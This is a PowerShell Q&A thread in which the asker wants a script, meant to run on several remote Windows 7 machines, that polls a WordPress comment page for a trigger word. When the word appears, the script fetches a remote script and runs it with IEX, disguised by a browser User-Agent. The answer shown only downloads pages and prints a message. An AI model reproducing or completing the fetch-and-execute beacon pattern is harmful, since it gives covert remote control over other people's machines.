Powershell | DownloadString | External website | Return

Question

I'm a totally powershell newbie, so please be indulgent ;)

I'm trying to write a script where a machine check an external website waiting for a the word: "test" to execute a download. The things goes like this:

$Word = 'test'
$WebClientObject = New-Object Net.WebClient
$comment = "http://MySite.wordpress.com/comment_section/"
$WebClientObject.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36)")

While($True) {
  $CommentResult = $WebClientObject.DownloadString($comment)
  $Found = $CommentResult.contains($Word)

  If ($Found) {
    IEX $WebClientObject.DownloadString('http://A_Server_That_Is_Accessible/Tasks_to_do')
    #Task_to_do and some blabla commands
    Return
  }
  Start-Sleep -Seconds 60
}

I'm running powershell 2.0. Windows7

What happened:

• the download is not executed over internet
• it is not a issue coming from IPs or paths

What I've done next:

• I directly write the different commands in the powershell prompt:

--> the While($True) initiate an endless loop without exiting it.

To make the trick I need to "double click return on my keyboard", the loop's ending and the "downloadstring" command is finally executed.

Still remember I'm more than a newbie, right? :(

• I tried "break" "return" or "exit" bu impossible to quit the loop.
• I tried to put many double carriage return in my script also without any success.

Would someone please indicates me the way to do this simple thing...? :)

Thanks a lot.

UPDATE Those little lines should be utilize by different persons in different places (that's one of the reason of a deported website), and i just do not have possibility to update the remote machines to a newer version of powershell. If anybody have any Microsoft powershell guru in his contact, it will be just a tremendous help. Thank you all guys.

Answer 1

Ok, here's a simple example of what I think you are trying to do:

$Path = New-Object System.Uri("http://localwire.pl/");
$WebClient = New-Object Net.WebClient;
$Word = "PhraseThatDoesNotExist"

While ($True){

    $Result = $WebClient.DownloadString($Path);
    $Found = $Result.Contains($Word);

    If ($Found){
        $Path = New-Object System.Uri("http://stackoverflow.com");
        $NewResult = $WebClient.DownloadString($Path);
        Write-Host "Found!"
        Break;
    } Else {
        Write-Host "Not found!"
    }
    Start-Sleep -s 5
}

We are downloading one webpage and if it contains phrase we were looking for, we are downloading the other page. I hope I understood you right. If not, please let us know what exactly you need.